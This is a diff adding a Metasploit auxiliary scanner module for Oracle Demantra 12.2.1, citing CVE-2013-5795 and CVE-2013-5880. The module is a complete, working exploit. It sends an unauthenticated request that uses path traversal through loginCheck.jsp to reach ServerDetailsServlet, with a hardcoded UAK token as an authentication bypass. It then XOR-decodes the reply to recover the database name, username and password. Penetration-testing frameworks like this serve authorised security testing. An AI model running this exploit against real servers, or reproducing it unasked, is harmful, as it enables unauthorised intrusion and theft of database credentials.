|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Scanner |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Oracle Demantra Database Credentials Leak', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a database credentials leak found in Oracle Demantra 12.2.1 in |
| 19 | + combination with an authentication bypass. This way an unauthenticated user can retrieve |
| 20 | + the database name, username and password on any vulnerable machine. |
| 21 | + }, |
| 22 | + 'References' => |
| 23 | + [ |
| 24 | + [ 'CVE', '2013-5795'], |
| 25 | + [ 'CVE', '2013-5880'], |
| 26 | + [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5795/'], |
| 27 | + [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/' ] |
| 28 | + ], |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'Oliver Gruskovnjak' |
| 32 | + ], |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'DisclosureDate' => "February 28 2014" |
| 35 | + )) |
| 36 | + |
| 37 | + register_options( |
| 38 | + [ |
| 39 | + Opt::RPORT(8080), |
| 40 | + OptBool.new('SSL', [false, 'Use SSL', false]) |
| 41 | + ], self.class) |
| 42 | + |
| 43 | + deregister_options('RHOST') |
| 44 | + end |
| 45 | + |
| 46 | + def run_host(ip) |
| 47 | + res = send_request_cgi({ |
| 48 | + 'method' => 'GET', |
| 49 | + 'uri' => normalize_uri('demantra', 'common', 'loginCheck.jsp', '..', '..', 'ServerDetailsServlet'), |
| 50 | + 'vars_get' => { |
| 51 | + 'UAK' => '406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1' |
| 52 | + } |
| 53 | + }) |
| 54 | + |
| 55 | + if res.nil? or res.body.empty? |
| 56 | + vprint_error("#{peer} - No content retrieved from") |
| 57 | + return |
| 58 | + end |
| 59 | + |
| 60 | + if res.code == 404 |
| 61 | + vprint_error("#{peer} - File not found") |
| 62 | + return |
| 63 | + end |
| 64 | + |
| 65 | + if res.code == 200 |
| 66 | + creds = "" |
| 67 | + |
| 68 | + vprint_status("#{peer} - String received: #{res.body.to_s}") unless res.body.blank? |
| 69 | + |
| 70 | + res.body.to_s.split(",").each do|c| |
| 71 | + i = c.to_i ^ 0x50 |
| 72 | + creds += i.chr |
| 73 | + end |
| 74 | + print_good("#{peer} - Credentials decoded: #{creds}") unless creds.empty? |
| 75 | + end |
| 76 | + end |
| 77 | + |
| 78 | +end |
0 commit comments